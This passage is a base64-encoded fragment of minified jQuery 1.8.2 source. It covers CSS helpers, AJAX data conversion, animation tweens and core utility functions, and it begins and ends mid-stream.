PD0wfHxkPT1udWxsKXtkPWJIKGEsYik7aWYoZDwwfHxkPT1udWxsKWQ9YS5zdHlsZVtiXTtpZihiUS50ZXN0KGQpKXJldHVybiBkO2U9ZiYmKHAuc3VwcG9ydC5ib3hTaXppbmdSZWxpYWJsZXx8ZD09PWEuc3R5bGVbYl0pLGQ9cGFyc2VGbG9hdChkKXx8MH1yZXR1cm4gZCtjYShhLGIsY3x8KGY/ImJvcmRlciI6ImNvbnRlbnQiKSxlKSsicHgifWZ1bmN0aW9uIGNjKGEpe2lmKGJTW2FdKXJldHVybiBiU1thXTt2YXIgYj1wKCI8IithKyI+IikuYXBwZW5kVG8oZS5ib2R5KSxjPWIuY3NzKCJkaXNwbGF5Iik7Yi5yZW1vdmUoKTtpZihjPT09Im5vbmUifHxjPT09IiIpe2JJPWUuYm9keS5hcHBlbmRDaGlsZChiSXx8cC5leHRlbmQoZS5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKSx7ZnJhbWVCb3JkZXI6MCx3aWR0aDowLGhlaWdodDowfSkpO2lmKCFiSnx8IWJJLmNyZWF0ZUVsZW1lbnQpYko9KGJJLmNvbnRlbnRXaW5kb3d8fGJJLmNvbnRlbnREb2N1bWVudCkuZG9jdW1lbnQsYkoud3JpdGUoIjwhZG9jdHlwZSBodG1sPjxodG1sPjxib2R5PiIpLGJKLmNsb3NlKCk7Yj1iSi5ib2R5LmFwcGVuZENoaWxkKGJKLmNyZWF0ZUVsZW1lbnQoYSkpLGM9YkgoYiwiZGlzcGxheSIpLGUuYm9keS5yZW1vdmVDaGlsZChiSSl9cmV0dXJuIGJTW2FdPWMsY31mdW5jdGlvbiBjaShhLGIsYyxkKXt2YXIgZTtpZihwLmlzQXJyYXkoYikpcC5lYWNoKGIsZnVuY3Rpb24oYixlKXtjfHxjZS50ZXN0KGEpP2QoYSxlKTpjaShhKyJbIisodHlwZW9mIGU9PSJvYmplY3QiP2I6IiIpKyJdIixlLGMsZCl9KTtlbHNlIGlmKCFjJiZwLnR5cGUoYik9PT0ib2JqZWN0Iilmb3IoZSBpbiBiKWNpKGErIlsiK2UrIl0iLGJbZV0sYyxkKTtlbHNlIGQoYSxiKX1mdW5jdGlvbiBjeihhKXtyZXR1cm4gZnVuY3Rpb24oYixjKXt0eXBlb2YgYiE9InN0cmluZyImJihjPWIsYj0iKiIpO3ZhciBkLGUsZixnPWIudG9Mb3dlckNhc2UoKS5zcGxpdChzKSxoPTAsaT1nLmxlbmd0aDtpZihwLmlzRnVuY3Rpb24oYykpZm9yKDtoPGk7aCsrKWQ9Z1toXSxmPS9eXCsvLnRlc3QoZCksZiYmKGQ9ZC5zdWJzdHIoMSl8fCIqIiksZT1hW2RdPWFbZF18fFtdLGVbZj8idW5zaGlmdCI6InB1c2giXShjKX19ZnVuY3Rpb24gY0EoYSxjLGQsZSxmLGcpe2Y9Znx8Yy5kYXRhVHlwZXNbMF0sZz1nfHx7fSxnW2ZdPSEwO3ZhciBoLGk9YVtmXSxqPTAsaz1pP2kubGVuZ3RoOjAsbD1hPT09Y3Y7Zm9yKDtqPGsmJihsfHwhaCk7aisrKWg9aVtqXShjLGQsZSksdHlwZW9mIGg9PSJzdHJpbmciJiYoIWx8fGdbaF0/aD1iOihjLmRhdGFUeXBlcy51bnNoaWZ0KGgpLGg9Y0EoYSxjLGQsZSxoLGcpKSk7cmV0dXJuKGx8fCFoKSYmIWdbIioiXSYmKGg9Y0EoYSxjLGQsZSwiKiIsZykpLGh9ZnVuY3Rpb24gY0IoYSxjKXt2YXIgZCxlLGY9cC5hamF4U2V0dGluZ3MuZmxhdE9wdGlvbnN8fHt9O2ZvcihkIGluIGMpY1tkXSE9PWImJigoZltkXT9hOmV8fChlPXt9KSlbZF09Y1tkXSk7ZSYmcC5leHRlbmQoITAsYSxlKX1mdW5jdGlvbiBjQyhhLGMsZCl7dmFyIGUsZixnLGgsaT1hLmNvbnRlbnRzLGo9YS5kYXRhVHlwZXMsaz1hLnJlc3BvbnNlRmllbGRzO2ZvcihmIGluIGspZiBpbiBkJiYoY1trW2ZdXT1kW2ZdKTt3aGlsZShqWzBdPT09IioiKWouc2hpZnQoKSxlPT09YiYmKGU9YS5taW1lVHlwZXx8Yy5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikpO2lmKGUpZm9yKGYgaW4gaSlpZihpW2ZdJiZpW2ZdLnRlc3QoZSkpe2oudW5zaGlmdChmKTticmVha31pZihqWzBdaW4gZClnPWpbMF07ZWxzZXtmb3IoZiBpbiBkKXtpZighalswXXx8YS5jb252ZXJ0ZXJzW2YrIiAiK2pbMF1dKXtnPWY7YnJlYWt9aHx8KGg9Zil9Zz1nfHxofWlmKGcpcmV0dXJuIGchPT1qWzBdJiZqLnVuc2hpZnQoZyksZFtnXX1mdW5jdGlvbiBjRChhLGIpe3ZhciBjLGQsZSxmLGc9YS5kYXRhVHlwZXMuc2xpY2UoKSxoPWdbMF0saT17fSxqPTA7YS5kYXRhRmlsdGVyJiYoYj1hLmRhdGFGaWx0ZXIoYixhLmRhdGFUeXBlKSk7aWYoZ1sxXSlmb3IoYyBpbiBhLmNvbnZlcnRlcnMpaVtjLnRvTG93ZXJDYXNlKCldPWEuY29udmVydGVyc1tjXTtmb3IoO2U9Z1srK2pdOylpZihlIT09IioiKXtpZihoIT09IioiJiZoIT09ZSl7Yz1pW2grIiAiK2VdfHxpWyIqICIrZV07aWYoIWMpZm9yKGQgaW4gaSl7Zj1kLnNwbGl0KCIgIik7aWYoZlsxXT09PWUpe2M9aVtoKyIgIitmWzBdXXx8aVsiKiAiK2ZbMF1dO2lmKGMpe2M9PT0hMD9jPWlbZF06aVtkXSE9PSEwJiYoZT1mWzBdLGcuc3BsaWNlKGotLSwwLGUpKTticmVha319fWlmKGMhPT0hMClpZihjJiZhWyJ0aHJvd3MiXSliPWMoYik7ZWxzZSB0cnl7Yj1jKGIpfWNhdGNoKGspe3JldHVybntzdGF0ZToicGFyc2VyZXJyb3IiLGVycm9yOmM/azoiTm8gY29udmVyc2lvbiBmcm9tICIraCsiIHRvICIrZX19fWg9ZX1yZXR1cm57c3RhdGU6InN1Y2Nlc3MiLGRhdGE6Yn19ZnVuY3Rpb24gY0woKXt0cnl7cmV0dXJuIG5ldyBhLlhNTEh0dHBSZXF1ZXN0fWNhdGNoKGIpe319ZnVuY3Rpb24gY00oKXt0cnl7cmV0dXJuIG5ldyBhLkFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIil9Y2F0Y2goYil7fX1mdW5jdGlvbiBjVSgpe3JldHVybiBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Y049Yn0sMCksY049cC5ub3coKX1mdW5jdGlvbiBjVihhLGIpe3AuZWFjaChiLGZ1bmN0aW9uKGIsYyl7dmFyIGQ9KGNUW2JdfHxbXSkuY29uY2F0KGNUWyIqIl0pLGU9MCxmPWQubGVuZ3RoO2Zvcig7ZTxmO2UrKylpZihkW2VdLmNhbGwoYSxiLGMpKXJldHVybn0pfWZ1bmN0aW9uIGNXKGEsYixjKXt2YXIgZCxlPTAsZj0wLGc9Y1MubGVuZ3RoLGg9cC5EZWZlcnJlZCgpLmFsd2F5cyhmdW5jdGlvbigpe2RlbGV0ZSBpLmVsZW19KSxpPWZ1bmN0aW9uKCl7dmFyIGI9Y058fGNVKCksYz1NYXRoLm1heCgwLGouc3RhcnRUaW1lK2ouZHVyYXRpb24tYiksZD0xLShjL2ouZHVyYXRpb258fDApLGU9MCxmPWoudHdlZW5zLmxlbmd0aDtmb3IoO2U8ZjtlKyspai50d2VlbnNbZV0ucnVuKGQpO3JldHVybiBoLm5vdGlmeVdpdGgoYSxbaixkLGNdKSxkPDEmJmY/YzooaC5yZXNvbHZlV2l0aChhLFtqXSksITEpfSxqPWgucHJvbWlzZSh7ZWxlbTphLHByb3BzOnAuZXh0ZW5kKHt9LGIpLG9wdHM6cC5leHRlbmQoITAse3NwZWNpYWxFYXNpbmc6e319LGMpLG9yaWdpbmFsUHJvcGVydGllczpiLG9yaWdpbmFsT3B0aW9uczpjLHN0YXJ0VGltZTpjTnx8Y1UoKSxkdXJhdGlvbjpjLmR1cmF0aW9uLHR3ZWVuczpbXSxjcmVhdGVUd2VlbjpmdW5jdGlvbihiLGMsZCl7dmFyIGU9cC5Ud2VlbihhLGoub3B0cyxiLGMsai5vcHRzLnNwZWNpYWxFYXNpbmdbYl18fGoub3B0cy5lYXNpbmcpO3JldHVybiBqLnR3ZWVucy5wdXNoKGUpLGV9LHN0b3A6ZnVuY3Rpb24oYil7dmFyIGM9MCxkPWI/ai50d2VlbnMubGVuZ3RoOjA7Zm9yKDtjPGQ7YysrKWoudHdlZW5zW2NdLnJ1bigxKTtyZXR1cm4gYj9oLnJlc29sdmVXaXRoKGEsW2osYl0pOmgucmVqZWN0V2l0aChhLFtqLGJdKSx0aGlzfX0pLGs9ai5wcm9wcztjWChrLGoub3B0cy5zcGVjaWFsRWFzaW5nKTtmb3IoO2U8ZztlKyspe2Q9Y1NbZV0uY2FsbChqLGEsayxqLm9wdHMpO2lmKGQpcmV0dXJuIGR9cmV0dXJuIGNWKGosaykscC5pc0Z1bmN0aW9uKGoub3B0cy5zdGFydCkmJmoub3B0cy5zdGFydC5jYWxsKGEsaikscC5meC50aW1lcihwLmV4dGVuZChpLHthbmltOmoscXVldWU6ai5vcHRzLnF1ZXVlLGVsZW06YX0pKSxqLnByb2dyZXNzKGoub3B0cy5wcm9ncmVzcykuZG9uZShqLm9wdHMuZG9uZSxqLm9wdHMuY29tcGxldGUpLmZhaWwoai5vcHRzLmZhaWwpLmFsd2F5cyhqLm9wdHMuYWx3YXlzKX1mdW5jdGlvbiBjWChhLGIpe3ZhciBjLGQsZSxmLGc7Zm9yKGMgaW4gYSl7ZD1wLmNhbWVsQ2FzZShjKSxlPWJbZF0sZj1hW2NdLHAuaXNBcnJheShmKSYmKGU9ZlsxXSxmPWFbY109ZlswXSksYyE9PWQmJihhW2RdPWYsZGVsZXRlIGFbY10pLGc9cC5jc3NIb29rc1tkXTtpZihnJiYiZXhwYW5kImluIGcpe2Y9Zy5leHBhbmQoZiksZGVsZXRlIGFbZF07Zm9yKGMgaW4gZiljIGluIGF8fChhW2NdPWZbY10sYltjXT1lKX1lbHNlIGJbZF09ZX19ZnVuY3Rpb24gY1koYSxiLGMpe3ZhciBkLGUsZixnLGgsaSxqLGssbD10aGlzLG09YS5zdHlsZSxuPXt9LG89W10scT1hLm5vZGVUeXBlJiZiWihhKTtjLnF1ZXVlfHwoaj1wLl9xdWV1ZUhvb2tzKGEsImZ4Iiksai51bnF1ZXVlZD09bnVsbCYmKGoudW5xdWV1ZWQ9MCxrPWouZW1wdHkuZmlyZSxqLmVtcHR5LmZpcmU9ZnVuY3Rpb24oKXtqLnVucXVldWVkfHxrKCl9KSxqLnVucXVldWVkKyssbC5hbHdheXMoZnVuY3Rpb24oKXtsLmFsd2F5cyhmdW5jdGlvbigpe2oudW5xdWV1ZWQtLSxwLnF1ZXVlKGEsImZ4IikubGVuZ3RofHxqLmVtcHR5LmZpcmUoKX0pfSkpLGEubm9kZVR5cGU9PT0xJiYoImhlaWdodCJpbiBifHwid2lkdGgiaW4gYikmJihjLm92ZXJmbG93PVttLm92ZXJmbG93LG0ub3ZlcmZsb3dYLG0ub3ZlcmZsb3dZXSxwLmNzcyhhLCJkaXNwbGF5Iik9PT0iaW5saW5lIiYmcC5jc3MoYSwiZmxvYXQiKT09PSJub25lIiYmKCFwLnN1cHBvcnQuaW5saW5lQmxvY2tOZWVkc0xheW91dHx8Y2MoYS5ub2RlTmFtZSk9PT0iaW5saW5lIj9tLmRpc3BsYXk9ImlubGluZS1ibG9jayI6bS56b29tPTEpKSxjLm92ZXJmbG93JiYobS5vdmVyZmxvdz0iaGlkZGVuIixwLnN1cHBvcnQuc2hyaW5rV3JhcEJsb2Nrc3x8bC5kb25lKGZ1bmN0aW9uKCl7bS5vdmVyZmxvdz1jLm92ZXJmbG93WzBdLG0ub3ZlcmZsb3dYPWMub3ZlcmZsb3dbMV0sbS5vdmVyZmxvd1k9Yy5vdmVyZmxvd1syXX0pKTtmb3IoZCBpbiBiKXtmPWJbZF07aWYoY1AuZXhlYyhmKSl7ZGVsZXRlIGJbZF07aWYoZj09PShxPyJoaWRlIjoic2hvdyIpKWNvbnRpbnVlO28ucHVzaChkKX19Zz1vLmxlbmd0aDtpZihnKXtoPXAuX2RhdGEoYSwiZnhzaG93Iil8fHAuX2RhdGEoYSwiZnhzaG93Iix7fSkscT9wKGEpLnNob3coKTpsLmRvbmUoZnVuY3Rpb24oKXtwKGEpLmhpZGUoKX0pLGwuZG9uZShmdW5jdGlvbigpe3ZhciBiO3AucmVtb3ZlRGF0YShhLCJmeHNob3ciLCEwKTtmb3IoYiBpbiBuKXAuc3R5bGUoYSxiLG5bYl0pfSk7Zm9yKGQ9MDtkPGc7ZCsrKWU9b1tkXSxpPWwuY3JlYXRlVHdlZW4oZSxxP2hbZV06MCksbltlXT1oW2VdfHxwLnN0eWxlKGEsZSksZSBpbiBofHwoaFtlXT1pLnN0YXJ0LHEmJihpLmVuZD1pLnN0YXJ0LGkuc3RhcnQ9ZT09PSJ3aWR0aCJ8fGU9PT0iaGVpZ2h0Ij8xOjApKX19ZnVuY3Rpb24gY1ooYSxiLGMsZCxlKXtyZXR1cm4gbmV3IGNaLnByb3RvdHlwZS5pbml0KGEsYixjLGQsZSl9ZnVuY3Rpb24gYyQoYSxiKXt2YXIgYyxkPXtoZWlnaHQ6YX0sZT0wO2I9Yj8xOjA7Zm9yKDtlPDQ7ZSs9Mi1iKWM9YlZbZV0sZFsibWFyZ2luIitjXT1kWyJwYWRkaW5nIitjXT1hO3JldHVybiBiJiYoZC5vcGFjaXR5PWQud2lkdGg9YSksZH1mdW5jdGlvbiBkYShhKXtyZXR1cm4gcC5pc1dpbmRvdyhhKT9hOmEubm9kZVR5cGU9PT05P2EuZGVmYXVsdFZpZXd8fGEucGFyZW50V2luZG93OiExfXZhciBjLGQsZT1hLmRvY3VtZW50LGY9YS5sb2NhdGlvbixnPWEubmF2aWdhdG9yLGg9YS5qUXVlcnksaT1hLiQsaj1BcnJheS5wcm90b3R5cGUucHVzaCxrPUFycmF5LnByb3RvdHlwZS5zbGljZSxsPUFycmF5LnByb3RvdHlwZS5pbmRleE9mLG09T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZyxuPU9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHksbz1TdHJpbmcucHJvdG90eXBlLnRyaW0scD1mdW5jdGlvbihhLGIpe3JldHVybiBuZXcgcC5mbi5pbml0KGEsYixjKX0scT0vW1wtK10/KD86XGQqXC58KVxkKyg/OltlRV1bXC0rXT9cZCt8KS8uc291cmNlLHI9L1xTLyxzPS9ccysvLHQ9L15bXHNcdUZFRkZceEEwXSt8W1xzXHVGRUZGXHhBMF0rJC9nLHU9L14oPzpbXiM8XSooPFtcd1xXXSs+KVtePl0qJHwjKFtcd1wtXSopJCkvLHY9L148KFx3KylccypcLz8+KD86PFwvXDE+fCkkLyx3PS9eW1xdLDp7fVxzXSokLyx4PS8oPzpefDp8LCkoPzpccypcWykrL2cseT0vXFwoPzpbIlxcXC9iZm5ydF18dVtcZGEtZkEtRl17NH0pL2csej0vIlteIlxcXHJcbl0qInx0cnVlfGZhbHNlfG51bGx8LT8oPzpcZFxkKlwufClcZCsoPzpbZUVdW1wtK10/XGQrfCkvZyxBPS9eLW1zLS8sQj0vLShbXGRhLXpdKS9naSxDPWZ1bmN0aW9uKGEsYil7cmV0dXJuKGIrIiIpLnRvVXBwZXJDYXNlKCl9LEQ9ZnVuY3Rpb24oKXtlLmFkZEV2ZW50TGlzdGVuZXI/KGUucmVtb3ZlRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsRCwhMSkscC5yZWFkeSgpKTplLnJlYWR5U3RhdGU9PT0iY29tcGxldGUiJiYoZS5kZXRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIixEKSxwLnJlYWR5KCkpfSxFPXt9O3AuZm49cC5wcm90b3R5cGU9e2NvbnN0cnVjdG9yOnAsaW5pdDpmdW5jdGlvbihhLGMsZCl7dmFyIGYsZyxoLGk7aWYoIWEpcmV0dXJuIHRoaXM7aWYoYS5ub2RlVHlwZSlyZXR1cm4gdGhpcy5jb250ZXh0PXRoaXNbMF09YSx0aGlzLmxlbmd0aD0xLHRoaXM7aWYodHlwZW9mIGE9PSJzdHJpbmciKXthLmNoYXJBdCgwKT09PSI8IiYmYS5jaGFyQXQoYS5sZW5ndGgtMSk9PT0iPiImJmEubGVuZ3RoPj0zP2Y9W251bGwsYSxudWxsXTpmPXUuZXhlYyhhKTtpZihmJiYoZlsxXXx8IWMpKXtpZihmWzFdKXJldHVybiBjPWMgaW5zdGFuY2VvZiBwP2NbMF06YyxpPWMmJmMubm9kZVR5cGU/Yy5vd25lckRvY3VtZW50fHxjOmUsYT1wLnBhcnNlSFRNTChmWzFdLGksITApLHYudGVzdChmWzFdKSYmcC5pc1BsYWluT2JqZWN0KGMpJiZ0aGlzLmF0dHIuY2FsbChhLGMsITApLHAubWVyZ2UodGhpcyxhKTtnPWUuZ2V0RWxlbWVudEJ5SWQoZlsyXSk7aWYoZyYmZy5wYXJlbnROb2RlKXtpZihnLmlkIT09ZlsyXSlyZXR1cm4gZC5maW5kKGEpO3RoaXMubGVuZ3RoPTEsdGhpc1swXT1nfXJldHVybiB0aGlzLmNvbnRleHQ9ZSx0aGlzLnNlbGVjdG9yPWEsdGhpc31yZXR1cm4hY3x8Yy5qcXVlcnk/KGN8fGQpLmZpbmQoYSk6dGhpcy5jb25zdHJ1Y3RvcihjKS5maW5kKGEpfXJldHVybiBwLmlzRnVuY3Rpb24oYSk/ZC5yZWFkeShhKTooYS5zZWxlY3RvciE9PWImJih0aGlzLnNlbGVjdG9yPWEuc2VsZWN0b3IsdGhpcy5jb250ZXh0PWEuY29udGV4dCkscC5tYWtlQXJyYXkoYSx0aGlzKSl9LHNlbGVjdG9yOiIiLGpxdWVyeToiMS44LjIiLGxlbmd0aDowLHNpemU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5sZW5ndGh9LHRvQXJyYXk6ZnVuY3Rpb24oKXtyZXR1cm4gay5jYWxsKHRoaXMpfSxnZXQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PW51bGw/dGhpcy50b0FycmF5KCk6YTwwP3RoaXNbdGhpcy5sZW5ndGgrYV06dGhpc1thXX0scHVzaFN0YWNrOmZ1bmN0aW9uKGEsYixjKXt2YXIgZD1wLm1lcmdlKHRoaXMuY29uc3RydWN0b3IoKSxhKTtyZXR1cm4gZC5wcmV2T2JqZWN0PXRoaXMsZC5jb250ZXh0PXRoaXMuY29udGV4dCxiPT09ImZpbmQiP2Quc2VsZWN0b3I9dGhpcy5zZWxlY3RvcisodGhpcy5zZWxlY3Rvcj8iICI6IiIpK2M6YiYmKGQuc2VsZWN0b3I9dGhpcy5zZWxlY3RvcisiLiIrYisiKCIrYysiKSIpLGR9LGVhY2g6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gcC5lYWNoKHRoaXMsYSxiKX0scmVhZHk6ZnVuY3Rpb24oYSl7cmV0dXJuIHAucmVhZHkucHJvbWlzZSgpLmRvbmUoYSksdGhpc30sZXE6ZnVuY3Rpb24oYSl7cmV0dXJuIGE9K2EsYT09PS0xP3RoaXMuc2xpY2UoYSk6dGhpcy5zbGljZShhLGErMSl9LGZpcnN0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZXEoMCl9LGxhc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcSgtMSl9LHNsaWNlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucHVzaFN0YWNrKGsuYXBwbHkodGhpcyxhcmd1bWVudHMpLCJzbGljZSIsay5jYWxsKGFyZ3VtZW50cykuam9pbigiLCIpKX0sbWFwOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnB1c2hTdGFjayhwLm1hcCh0aGlzLGZ1bmN0aW9uKGIsYyl7cmV0dXJuIGEuY2FsbChiLGMsYil9KSl9LGVuZDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnByZXZPYmplY3R8fHRoaXMuY29uc3RydWN0b3IobnVsbCl9LHB1c2g6aixzb3J0OltdLnNvcnQsc3BsaWNlOltdLnNwbGljZX0scC5mbi5pbml0LnByb3RvdHlwZT1wLmZuLHAuZXh0ZW5kPXAuZm4uZXh0ZW5kPWZ1bmN0aW9uKCl7dmFyIGEsYyxkLGUsZixnLGg9YXJndW1lbnRzWzBdfHx7fSxpPTEsaj1hcmd1bWVudHMubGVuZ3RoLGs9ITE7dHlwZW9mIGg9PSJib29sZWFuIiYmKGs9aCxoPWFyZ3VtZW50c1sxXXx8e30saT0yKSx0eXBlb2YgaCE9Im9iamVjdCImJiFwLmlzRnVuY3Rpb24oaCkmJihoPXt9KSxqPT09aSYmKGg9dGhpcywtLWkpO2Zvcig7aTxqO2krKylpZigoYT1hcmd1bWVudHNbaV0pIT1udWxsKWZvcihjIGluIGEpe2Q9aFtjXSxlPWFbY107aWYoaD09PWUpY29udGludWU7ayYmZSYmKHAuaXNQbGFpbk9iamVjdChlKXx8KGY9cC5pc0FycmF5KGUpKSk/KGY/KGY9ITEsZz1kJiZwLmlzQXJyYXkoZCk/ZDpbXSk6Zz1kJiZwLmlzUGxhaW5PYmplY3QoZCk/ZDp7fSxoW2NdPXAuZXh0ZW5kKGssZyxlKSk6ZSE9PWImJihoW2NdPWUpfXJldHVybiBofSxwLmV4dGVuZCh7bm9Db25mbGljdDpmdW5jdGlvbihiKXtyZXR1cm4gYS4kPT09cCYmKGEuJD1pKSxiJiZhLmpRdWVyeT09PXAmJihhLmpRdWVyeT1oKSxwfSxpc1JlYWR5OiExLHJlYWR5V2FpdDoxLGhvbGRSZWFkeTpmdW5jdGlvbihhKXthP3AucmVhZHlXYWl0Kys6cC5yZWFkeSghMCl9LHJlYWR5OmZ1bmN0aW9uKGEpe2lmKGE9PT0hMD8tLXAucmVhZHlXYWl0OnAuaXNSZWFkeSlyZXR1cm47aWYoIWUuYm9keSlyZXR1cm4gc2V0VGltZW91dChwLnJlYWR5LDEpO3AuaXNSZWFkeT0hMDtpZihhIT09ITAmJi0tcC5yZWFkeVdhaXQ+MClyZXR1cm47ZC5yZXNvbHZlV2l0aChlLFtwXSkscC5mbi50cmlnZ2VyJiZwKGUpLnRyaWdnZXIoInJlYWR5Iikub2ZmKCJyZWFkeSIpfSxpc0Z1bmN0aW9uOmZ1bmN0aW9uKGEpe3JldHVybiBwLnR5cGUoYSk9PT0iZnVuY3Rpb24ifSxpc0FycmF5OkFycmF5LmlzQXJyYXl8fGZ1bmN0aW9uKGEpe3JldHVybiBwLnR5cGUoYSk9PT0iYXJyYXkifSxpc1dpbmRvdzpmdW5jdGlvbihhKXtyZXR1cm4gYSE9bnVsbCYmYT09YS53aW5kb3d9LGlzTnVtZXJpYzpmdW5jdGlvbihhKXtyZXR1cm4haXNOYU4ocGFyc2VGbG9hdChhKSkmJmlzRmluaXRlKGEpfSx0eXBlOmZ1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsP1N0cmluZyhhKTpFW20uY2FsbChhKV18fCJvYmplY3QifSxpc1BsYWluT2JqZWN0OmZ1bmN0aW9uKGEpe2lmKCFhfHxwLnR5cGUoYSkhPT0ib2JqZWN0Inx8YS5ub2RlVHlwZXx8cC5pc1dpbmRvdyhhKSlyZXR1cm4hMTt0cnl7aWYoYS5jb25zdHJ1Y3RvciYmIW4uY2FsbChhLCJjb25zdHJ1Y3RvciIpJiYhbi5jYWxsKGEuY29uc3RydWN0b3IucHJvdG90eXBlLCJpc1Byb3RvdHlwZU9mIikpcmV0dXJuITF9Y2F0Y2goYyl7cmV0dXJuITF9dmFyIGQ7Zm9yKGQgaW4gYSk7cmV0dXJuIGQ9PT1ifHxuLmNhbGwoYSxkKX0saXNFbXB0eU9iamVjdDpmdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxlcnJvcjpmdW5jdGlvbihhKXt0aHJvdyBuZXcgRXJyb3IoYSl9LHBhcnNlSFRNTDpmdW5jdGlvbihhLGIsYyl7dmFyIGQ7cmV0dXJuIWF8fHR5cGVvZiBhIT0ic3RyaW5nIj9udWxsOih0eXBlb2YgYj09ImJvb2xlYW4iJiYoYz1iLGI9MCksYj1ifHxlLChkPXYuZXhlYyhhKSk/W2IuY3JlYXRlRWxlbWVudChkWzFdKV06KGQ9cC5idWlsZEZyYWdtZW50KFthXSxiLGM/bnVsbDpbXSkscC5tZXJnZShbXSwoZC5jYWNoZWFibGU/cC5jbG9uZShkLmZyYWdtZW50KTpkLmZyYWdtZW50KS5jaGlsZE5vZGVzKSkpfSxwYXJzZUpTT046ZnVuY3Rpb24oYil7aWYoIWJ8fHR5cGVvZiBiIT0ic3RyaW5nIilyZXR1cm4gbnVsbDtiPXAudHJpbShiKTtpZihhLkpTT04mJmEuSlNPTi5wYXJzZSlyZXR1cm4gYS5KU09OLnBhcnNlKGIpO2lmKHcudGVzdChiLnJlcGxhY2UoeSwiQCIpLnJlcGxhY2UoeiwiXSIpLnJlcGxhY2UoeCwiIikpKXJldHVybihuZXcgRnVuY3Rpb24oInJldHVybiAiK2IpKSgpO3AuZXJyb3IoIkludmFsaWQgSlNPTjogIitiKX0scGFyc2VYTUw6ZnVuY3Rpb24oYyl7dmFyIGQsZTtpZighY3x8dHlwZW9mIGMhPSJzdHJpbmciKXJldHVybiBudWxsO3RyeXthLkRPTVBhcnNlcj8oZT1uZXcgRE9NUGFyc2VyLGQ9ZS5wYXJzZUZyb21TdHJpbmcoYywidGV4dC94bWwiKSk6KGQ9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxET00iKSxkLmFzeW5jPSJmYWxzZSIsZC5sb2FkWE1MKGMpKX1jYXRjaChmKXtkPWJ9cmV0dXJuKCFkfHwhZC5kb2N1bWVudEVsZW1lbnR8fGQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInBhcnNlcmVycm9yIikubGVuZ3RoKSYmcC5lcnJvcigiSW52YWxpZCBYTUw6ICIrYyksZH0sbm9vcDpmdW5jdGlvbigpe30sZ2xvYmFsRXZhbDpmdW5jdGlvbihiKXtiJiZyLnRlc3QoYikmJihhLmV4ZWNTY3JpcHR8fGZ1bmN0aW9uKGIpe2EuZXZhbC5jYWxsKGEsYil9KShiKX0sY2FtZWxDYXNlOmZ1bmN0aW9uKGEpe3JldHVybiBhLnJlcGxhY2UoQSwibXMtIikucmVwbGFjZShCLEMpfSxub2RlTmFtZTpmdW5jdGlvbihhLGIpe3JldHVybiBhLm5vZGVOYW1lJiZhLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1iLnRvTG93ZXJDYXNlKCl9LGVhY2g6ZnVuY3Rpb24oYSxjLGQpe3ZhciBlLGY9MCxnPWEubGVuZ3RoLGg9Zz09PWJ8fHAuaXNGdW5jdGlvbihhKTtpZihkKXtpZihoKXtmb3IoZSBpbiBhKWlmKGMuYXBwbHkoYVtlXSxkKT09PSExKWJyZWFrfWVsc2UgZm9yKDtmPGc7KWlmKGMuYXBwbHkoYVtmKytdLGQpPT09ITEpYnJlYWt9ZWxzZSBpZihoKXtmb3IoZSBpbiBhKWlmKGMuY2FsbChhW2VdLGUsYVtlXSk9PT0hMSlicmVha31lbHNlIGZvcig7ZjxnOylpZihjLmNhbGwoYVtmXSxmLGFbZisrXSk9PT0hMSlicmVhaztyZXR1cm4gYX0sdHJpbTpvJiYhby5jYWxsKCLvu7/CoCIpP2Z1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsPyIiOm8uY2FsbChhKX06ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PW51bGw/IiI6KGErIiIpLnJlcGxhY2UodCwiIil9LG1ha2VBcnJheTpmdW5jdGlvbihhLGIpe3ZhciBjLGQ9Ynx8W107cmV0dXJuIGEhPW51bGwmJihjPXAudHlwZShhKSxhLmxlbmd0aD09bnVsbHx8Yz09PSJzdHJpbmcifHxjPT09ImZ1bmN0aW9uInx8Yz09PSJyZWdleHAifHxwLmlzV2luZG93KGEpP2ouY2FsbChkLGEpOnAubWVyZ2UoZCxhKSksZH0saW5BcnJheTpmdW5jdGlvbihhLGIsYyl7dmFyIGQ7aWYoYil7aWYobClyZXR1cm4gbC5jYWxsKGIsYSxjKTtkPWIubGVuZ3RoLGM9Yz9jPDA/TWF0aC5tYXgoMCxkK2MpOmM6MDtmb3IoO2M8ZDtjKyspaWYoYyBpbiBiJiZiW2NdPT09YSlyZXR1cm4gY31yZXR1cm4tMX0sbWVyZ2U6ZnVuY3Rpb24oYSxjKXt2YXIgZD1jLmxlbmd0aCxlPWEubGVuZ3RoLGY9MDtpZih0eXBlb2YgZD09Im51bWJlciIpZm9yKDtmPGQ7ZisrKWFbZSsrXT1jW2ZdO2Vsc2Ugd2hpbGUoY1tmXSE9PWIpYVtlKytdPWNbZisrXTtyZXR1cm4gYS5sZW5ndGg9ZSxhfSxncmVwOmZ1bmN0aW9uKGEsYixjKXt2YXIgZCxlPVtdLGY9MCxnPWEubGVuZ3RoO2M9ISFjO2Zvcig7ZjxnO2YrKylkPSEhYihhW2ZdLGYpLGMhPT1kJiZlLnB1c2goYVtmXSk7cmV0dXJuIGV9LG1hcDpmdW5jdGlvbihhLGMsZCl7dmFyIGUsZixnPVtdLGg9MCxpPWEubGVuZ3RoLGo9YSBpbnN0YW5jZW9mIHB8fGkhPT